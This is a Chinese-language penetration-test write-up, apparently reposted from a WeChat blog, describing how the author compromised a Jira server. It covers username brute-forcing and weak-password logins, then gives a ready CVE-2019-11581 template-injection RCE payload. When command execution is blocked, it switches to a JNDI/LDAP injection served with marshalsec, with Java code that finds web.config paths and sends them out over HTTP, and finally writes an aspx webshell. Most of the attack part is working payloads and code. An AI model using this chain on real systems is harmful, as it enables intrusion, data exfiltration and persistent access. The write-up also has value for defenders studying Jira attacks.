一次被禁掉Runtime的渗透经历

  • A+
所属分类:安全文章

某次项目中找到了一个jira做突破口

一次被禁掉Runtime的渗透经历

jira主要有三种漏洞

CVE-2017-9506/CVE-2019-8451的SSRF

CVE-2019-3403/CVE-2019-8449/CVE-2020-14181的用户名爆破

CVE-2019-11581的模板注入RCE

先从用户名爆破得到一个普通用户名zhangxxx,然后弱口令进去之后,查看其他用户名,定位到了管理员账户lixx,再用管理员的弱口令进去。

这样就能发起一次CVE-2019-11581的RCE


先配置smtp服务器

/secure/admin/OutgoingMailServers.jspa

一次被禁掉Runtime的渗透经历

再打开联系管理员设置

/secure/admin/EditApplicationProperties!default.jspa

一次被禁掉Runtime的渗透经历

最后向管理员发送邮件

/secure/ContactAdministrators!default.jspa


在主题中使用如下payload,注意代码将会多次执行

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('ping 2.2mud72.dnslog.cn').waitFor()

本来事情到这里就结束了,但是这次遇上了比较少见的情况,命令执行失败了。

经过反复确认,有两个可能。

一是,java中涉及命令执行的代码被禁用了,不知道用什么方式禁用的,导致Runtime以及ProcessBuilder均无法使用。

二是,jira的容器权限被Applocker限制。


之前扫描过端口发现同服务器上还有IIS服务器,所以第一时间想的是写aspx的webshell,通过webshell来操作。


将payload换成JNDI注入

$i18n.getClass().forName('javax.naming.InitialContext').newInstance().lookup("ldap://2.2.2.2/exp").waitFor()

对方JDK访问http服务器,带Java/1.8.0_11的UA,符合JNDI注入要求。


首先要寻找出IIS服务器的根目录,在网上找了一份java搜索文件的代码,效果如下。

import java.io.File;import java.io.FileFilter;import java.util.ArrayList;import java.util.List;
public class SearchFileTest {
public static List<File> searchFiles(File folder, final String keyword) { List<File> result = new ArrayList<File>(); if (folder.isFile()) result.add(folder);
File[] subFolders = folder.listFiles(new FileFilter() { @Override public boolean accept(File file) { if (file.isDirectory()) { return true; } if (file.getName().toLowerCase().contains(keyword)) { return true; } return false; } });
if (subFolders != null) { for (File file : subFolders) { if (file.isFile()) { result.add(file); } else { result.addAll(searchFiles(file, keyword)); } } } return result; }
public static void main(String[] args) throws Exception { List<File> files = searchFiles(new File("D:\"), "web.config"); for (File file : files) { System.out.println(file.getAbsolutePath()); } }}

一次被禁掉Runtime的渗透经历

获取路径后可以直接写webshell,但有可能盘符不对或者有多个web.config,所以我决定将路径base64编码并用http带出。

注意:如果不通外网可能需要dnslog带出,但base64含特殊符号很可能无法拼接到dnslog,需要自写hex编码。


修改一下代码

    public static void main(String[] args) throws Exception {        List<File> files = searchFiles(new File("D:\"), "web.config");        for (File file : files) {            System.out.println(file.getAbsolutePath());            String encodedBytes = Base64.getEncoder().encodeToString(file.getAbsolutePath().getBytes());            javax.swing.JEditorPane.class.newInstance().setPage("http://127.0.0.1/?="+encodedBytes);        }  }    static {        try {          main(null);        } catch (Exception e) {        }    }


javac SearchFileTest.java -Xlint:uncheckedjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#SearchFileTest" 1389

效果如下

一次被禁掉Runtime的渗透经历

http收到的base64解开即获得IIS服务器根目录

最后常规手法写入webshell即可

    public static void main(String[] args) throws Exception {        OutputStream os = new java.io.FileOutputStream("D:\web\1.aspx");        os.write("qwe".getBytes());    }    static {        try {            main(null);        } catch (Exception e) {        }    }






本文始发于微信公众号(珂技知识分享):一次被禁掉Runtime的渗透经历

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: